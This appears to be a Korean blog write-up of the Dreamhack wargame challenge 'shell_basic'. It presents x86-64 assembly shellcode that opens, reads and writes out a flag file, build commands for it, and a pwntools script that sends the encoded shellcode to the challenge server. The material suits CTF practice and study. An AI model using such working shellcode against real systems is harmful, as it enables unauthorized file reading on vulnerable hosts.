[dreamhack] shell_basic

IMKYU·2024년 11월 24일
post-thumbnail
  • 쉘코드 : 명령쉘을 실행시켜 공격자가 컴퓨터를 제어할 수 있도록 하는 코드

문제 파일

  • shell_basic
    • 실행파일
  • shell_basic.c

- 0x1000만큼 shellcode 를 실행시킨다

설명

  • /home/shell_basic/flag_name_is_loooooong
    • 위 파일을 출력하면 flag가 나온다
    • 따라서 파일을 열고(open) 읽고(read) 출력(write) 하면 된다.
    • 파일 경로 문자열을 8바이트씩 짜르고 역순으로 배치 후 16진수로 변환
      # convert.py
      from pwn import *
      
      data = "/home/shell_basic/flag_name_is_loooooong"
      str1 = []
      for i in range(0, len(data), 8):
          print(hex(u64(data[i:i+8])))
      
  • open, read, write 어셈블리어 작성

    • syscall을 사용

      ;exploit.asm
      
      section .text
      	global _start
      
      _start :
      	push 0x0 ; 널(문자열의 끝)
      	mov rax, 0x676e6f6f6f6f6f6f
      	push rax
      	mov rax, 0x6c5f73695f656d61
      	push rax
      	mov rax, 0x6e5f67616c662f63
      	push rax
      	mov rax, 0x697361625f6c6c65
      	push rax
      	mov rax, 0x68732f656d6f682f
      	push rax
      	
      	;open
      	mov rdi, rsp ; 스택의 최상단 주소
      	xor rsi, rsi ; rsi = 0 : O_RDONLY 읽기만
      	xor rdx, rdx ; rdx = 0 : 의미 없음
      	mov rax, 0x2 ; syscall open
      	syscall
      	
      	;read
      	mov rdi, rax ; rdi = fd
      	mov rsi, rsp
      	sub rsi, 0x30 ; 0x30만큼 버퍼 생성
      	mov rdx, 0x30 ; 길이
      	mov rax, 0x0 ; syscall read
      	syscall
      
      	;write
      	mov rdi, 0x1 ; stdout
      	mov rax, 0x1 ; syscall write
      	syscall
      
      	;exite
      	xor rdi, rdi ; 에러코드 0
      	mov rax, 0x3c ; syscall exit
      	syscall
  • 파일 변환

    • nasm -f elf64 exploit.asm : 어셈블리어를 기계어로 변환
    • objcopy --dump-section .text=exploit.bin exploit.o : 바이너리 파일로 변환
  • 서버에 코드 보내기

    • cat exploit.bin | nc “서버정보”
    • pwntools 사용
      #exploit.py
      from pwn import *
      
      p = remote("서버 정보")
      shellcode = b"\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
      p.sendafter("shellcode: ", shellcode)
      print(p.recv())
profile
아무것도 안 한 거랑 다를께 없잖아??

0개의 댓글